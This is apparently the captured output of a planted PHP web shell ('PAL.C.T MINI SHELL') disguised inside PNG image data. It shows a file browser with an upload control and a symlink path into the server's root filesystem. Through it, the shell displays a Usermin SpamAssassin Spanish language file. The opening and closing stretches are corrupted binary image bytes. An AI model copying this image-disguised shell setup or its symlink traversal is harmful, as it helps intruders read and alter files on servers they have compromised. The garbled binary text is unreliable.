php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /var/www/html/sub/images/sym/root/usr/libexec/usermin/spam/lang/
upload
files >> /var/www/html/sub/images/sym/root/usr/libexec/usermin/spam/lang/es.UTF-8

acl_avail=Iconos accesibles al usuario
acl_file=Archivo de configuración de SpamAssassin a editar
acl_filedef=Archivo de configuración global
apply_err=Fallo al aplicar cambios
apply_none=¡No se encontraron procesos demonio de SpamAssassin!
ecannot=No está autorizado a utilizar esta página
header_allow=¿Permitir a los usuarios definir tests?
header_body=Tests de cuerpo
header_bool=Expresión test booleana
header_default=Valor por defecto
header_desc=Esta página le permite definir tests adicionales que SpamAssassin aplicará al email, basándose en las cabeceras del mensaje, el contenido del cuerpo, las URLs halladas en el cuerpo, o combinaciones de otros tests. El nombre asignado a cada test depende de usted, pero normalmente es algo parecido a CONTIENE_ALGO. La cadena real que SpamAssassin añadirá a los mensajes que cumplan un test puede configurarse introduciendo los que vienen por defecto o sus propios nombres de test en las tablas de la parte inferior de la página.
header_eclash=El nombre de test '$1' aparece más de una vez
header_eeval='$1' no es una función de evaluación válida
header_eflags='$1' no son flags de expresión regular válidos
header_eheader='$1' no es una cabecera de email válida
header_emeta=Falta expresión de prueba para el test '$1'
header_ename='$1' no es un nombre de test válido
header_eregexp='$1' no es una expresión regular válida (debe ser algo como /expresión/)
header_eregexp2=Falta expresión para test '$1'
header_err=Fallo al salvar tests
header_header=Tests adicionales de cabecera y cuerpo
header_meta=Tests basados en otros
header_mode=Parte de cuerpo
header_mode0=Texto plano
header_mode1=Todo el texto
header_mode2=Texto en crudo
header_mode3=Mail completo
header_name=Para cabecera
header_op=Chequear si
header_op0=Coincide con..
header_op1=No coincide con..
header_op2=Existe
header_op3=Evaluar..
header_pat=Expresión regular
header_switch=Cambiar a modo simple..
header_test=Tests de cabecera
header_title=Tests de Cabecera y Cuerpo
header_tname=Nombre de Test
header_uri=Tests de Email URL
import_efile=No hay archivo desde el que importar seleccionado
import_enone=No se encontraron direcciones email en el archivo
import_err=Fallo al importar direcciones
import_ok1=$2 direcciones email se encontraron en el archivo, de las cuales $1 eran nuevas y han sido añadidas a la lista de direcciones permitidas
import_ok2=$1 direcciones email se encontraron en el archivo, pero ya estaban todas en la lista de direcciones permitidas.
import_title=Importar Direcciones
index_apply=Aplicar Cambios
index_applydesc=Pulse en este botón para aplicar la configuración actual de SpamAssassin enviando una señal HUP a todos los procesos $1 en ejecución.
index_cpan=Dado que SpamAssassin es un m&#243;dulo Perl, tambi&#233;n puede instalarlo autom&#225;ticamente utilizando el m&#243;dulo de Webmin <a href='$2'>M&#243;dulos de Perl (CPAN)</a> para descargar $1 desde CPAN.
index_ecmd=El comando $1 de SpamAssassin no se encontr&#243; en su sistema. Puede que no est&#233; instalado, o que su <a href='$2'>configuraci&#243;n del m&#243;dulo</a> sea incorrecta.
index_ecmd2=El comando $1 de SpamAssassin no se encontr&#243; en su sistema.
index_econfig=El archivo o directorio local de configuraci&#243;n de SpamAssassin $1 no se encontr&#243; en su sistema. Puede que SpamAssassin no est&#233; instalado o que su <a href='$2'>configuraci&#243;n del m&#243;dulo</a> sea incorrecta.
index_return=&#237;ndice de m&#243;dulo
index_spamassassin=SpamAssassin
index_title=SpamAssassin - Filtro de Correo
index_version=SpamAssassin versi&#243;n $1
index_warn_usermin=SpamAssassin no parece estar configurado ni en su archivo de configuraci&#243;n de Procmail $2 ni en el archivo global $1, as&#237; que cualquier configuraci&#243;n realizada mediante este m&#243;dulo no tendr&#225; efecto a menos que SpamAssassin se configure glabalmente.
index_warn_webmin=SpamAssassin no parece estar configurado en el archivo de configuraci&#243;n $1 de Procmail del sistema, por tanto toda configuraci&#243;n realizada mendiante &#233;ste m&#243;dulo no tendr&#225; efecto a menos que los usuarios lo tengan configurado individualmente.
log_header=Tests de cabecera y cuerpo modificados
log_import=Se importaron $1 direcciones permitidas
log_priv=Se modificaron las opciones varias privilegiadas
log_procmail=Se cambi&#243; la configuraci&#243;n Procmail
log_report=Se modific&#243; modificaci&#243;n de mensaje
log_score=Se modific&#243; clasificaci&#243;n de spam
log_setup=Configurar Procmail para SpamAssassin
log_user=Se modificaron opcionnes varias de usuario
log_white=Se modificaron direcciones permitidas y denegadas
mail_delall=Borrar Todo el Spam
mail_delete=Borrar
mail_desc=Esta p&#225;gina lista los mensajes que han sido clasificados como spam, y que est&#225;n a la espera de alguna acci&#243;n. Los mensajes que hayan sido incorrectamente identificados pueden moverse a su Bandeja de Entrada, y los que realmente son Spam pueden ser borrados.
mail_ham=Informar como Bueno &amp; Bandeja de Entrada
mail_inbox=Mover a Bandeja de Entrada
mail_level=Anotar
mail_level2=Cuenta de Spam
mail_none=No hay mensajes en su carpeta spam
mail_pos=Mensajes de spam $1 a $2 de $3
mail_razor=Informar como Spam &amp; Borrar
mail_refresh=Refrescar
mail_return=lista de correo spam
mail_search3=Buscar anotaciones arriba:
mail_title=Correo Spam
mail_whitelist2=Permitir Remitente &amp; Bandeja de entrada
mail_will=Refresco autom&#225;tico en $1 minutos
mail_wills=Refresco autom&#225;tico en $1 segundos
priv_dcc=Argumentos de comando DCC
priv_desc=Las opciones de esta parte s&#243;lo pueden configurarse globalmente, en lugar de en archivos de configuraci&#243;n individual de cada usuario. They control with paths to various configuration and logging file.
priv_eargs='$1' no es una lista v&#225;lida de argumentos
priv_emode='$1' no es un modo de archivo octal de 4 d&#237;gitos
priv_emscore='$1' no es una anotaci&#243;n de frase mayor v&#225;lido
priv_epath='$1' no es una ruta v&#225;lida
priv_ephrase='$1' no es una frase de spam de dos palabras v&#225;lida
priv_err=Fallo al salvar opciones privilegiadas
priv_escore=Anotaci&#243;n para frase spam '$1' falta o no v&#225;lida
priv_header=Configuraciones varias de nivel privilegiado
priv_highest=Anotaci&#243;n de frase m&#225;s alta
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`